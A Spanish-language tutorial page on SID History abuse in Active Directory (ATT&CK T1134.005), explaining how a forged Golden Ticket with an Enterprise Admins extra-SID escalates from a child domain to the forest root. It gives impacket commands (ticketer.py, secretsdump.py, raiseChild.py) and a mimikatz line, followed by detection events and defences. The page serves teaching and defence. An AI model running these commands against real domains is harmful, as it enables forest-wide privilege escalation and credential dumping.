the_open_door
café
ESEN
← Volver al índice

SID History Abuse

ATT&CKT1134.005
Arsenal completo de comandos en la cheatsheet

El abuso de SID History aprovecha un atributo pensado para migraciones de dominio para arrastrar privilegios de un dominio a otro dentro de un bosque. Es la vía clásica de escalar de un dominio hijo a la raíz del bosque una vez se tiene control del hijo.

En qué se basa. El atributo sIDHistory permite que una cuenta migrada conserve los SID que tenía en su dominio de origen; el KDC los añade al token del usuario como si fueran suyos. Si inyectamos un SID de alto privilegio (por ejemplo, el de Enterprise Admins del dominio padre, RID 519) en un Golden Ticket, obtenemos esos privilegios en todo el bosque, porque el filtrado de SID no se aplica dentro de un mismo bosque por defecto.

Cómo se ejecuta. Desde un DC del dominio hijo (ya como Domain Admin del hijo) se forja el ticket con el SID del padre como extra-sid:

# obtener los SID de ambos dominios
lookupsid.py <hijo>/<user>:<pass>@<dc-hijo> | grep -i 'Domain SID'
# forjar el Golden Ticket con el SID del padre como extra-sid
ticketer.py -nthash <krbtgt-hash> -domain-sid <sid-hijo> -domain <hijo> \
  -extra-sid <sid-padre>-519 Administrator
KRB5CCNAME=Administrator.ccache secretsdump.py -k -no-pass <dc-padre>
# impacket automatiza toda la cadena hijo -> padre
raiseChild.py <hijo>/<user>:<pass>

En Windows, el mismo Golden Ticket con mimikatz:

kerberos::golden /user:Administrator /domain:<hijo> /sid:<sid-hijo> /krbtgt:<krbtgt-hash> /sids:<sid-padre>-519 /ptt

También se puede escribir directamente el sIDHistory de una cuenta con mimikatz (sid::add) usando DCShadow, aunque el Golden Ticket con extra-sid es lo más habitual en un examen o auditoría.

Requisitos. Control del krbtgt del dominio hijo (o DCSync sobre él) y una relación de confianza intra-bosque sin filtrado de SID, que es el comportamiento por defecto entre dominios del mismo bosque.

Cómo detectarlo. Vigilar los cambios en sIDHistory (Event ID 4765/4766, se agregó/no se pudo agregar SID History) y las peticiones de ticket (4769) que presenten SID de alto privilegio de otro dominio para cuentas que no deberían tenerlos. Un ticket con extra-sid de Enterprise Admins sobre una cuenta de un dominio hijo es la firma del ataque.

Defensa. Habilitar el filtrado de SID (SID filtering / quarantine) en las confianzas donde sea posible, proteger la cuenta krbtgt (rotarla dos veces ante sospecha de compromiso) y auditar el atributo sIDHistory. Relacionado con Golden Ticket y DCSync.